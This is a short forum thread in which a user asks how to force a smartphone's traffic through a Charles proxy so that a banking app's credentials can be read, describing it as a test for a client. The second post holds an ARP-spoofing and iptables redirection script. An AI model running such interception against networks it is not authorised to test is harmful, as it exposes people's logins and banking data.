Results 1 to 2 of 2

Thread: How to redirect requests through a proxy on a different machine?

Hybrid View

Previous Post Previous Post   Next Post Next Post
  1. #1
    Join Date
    2013-Oct
    Posts
    10

    How to redirect requests through a proxy on a different machine?

    My setup is the following:

    - Smartphone (= client = victim)
    - Laptop with Kali Linux
    - iMac with Charles Proxy installed

    If I set the iMac's IP and port 8888 in the WLAN-configuration on the iPhone, everything is redirected through the Charles Proxy and I can read username/password of a banking app (it's a client I'd like to prove the security hole).

    How can I achieve the same behaviour with Kali but without setting the proxy in the iPhone configuration? Is it possible to tell all the clients in the network (except the iMac) to send their traffic through the iMacs IP with port 8888?

    Thanks a lot!

  2. #2
    Join Date
    2013-Oct
    Posts
    10

    How to achieve the same behavior as setting a proxy in the client's settings?

    Hi,

    if I'm setting the HTTP-Proxy in my iPhone's WLAN-Settings to the IP and Port of my Charles-Proxy, everything works as expected and I can see the traffic of my e-banking app.

    But with the following script on my Kali-Linux I get an SSL-error:

    Code:
    #!/bin/bash
    
    iptables -t nat --flush
    
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.11:8888
    iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.11:8888
    
    iptables -t nat -A POSTROUTING -j MASQUERADE
    
    arpspoof -i wlan0 -t [IP-OF-IPHONE]    [IP-OF-GATEWAY]
    arpspoof -i wlan0 -t [IP-OF-GATEWAY]   [IP-OF-KALI]
    What am I missing? Shouldn't it be possible to achieve the exact same behavior?

    Thanks a lot!

Similar Threads

  1. Proxy Chains - Not Recognizing Proxy Server
    By gtwcs14 in forum How-To Archive
    Replies: 0
    Last Post: 2020-08-14, 02:13
  2. Building for any phone ! Post Requests .
    By zinister in forum Building NetHunter
    Replies: 55
    Last Post: 2018-01-03, 04:13
  3. Probe requests - How to prevent Kali sending out probe requests?
    By mstrmnn in forum TroubleShooting Archive
    Replies: 4
    Last Post: 2017-08-20, 08:58

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •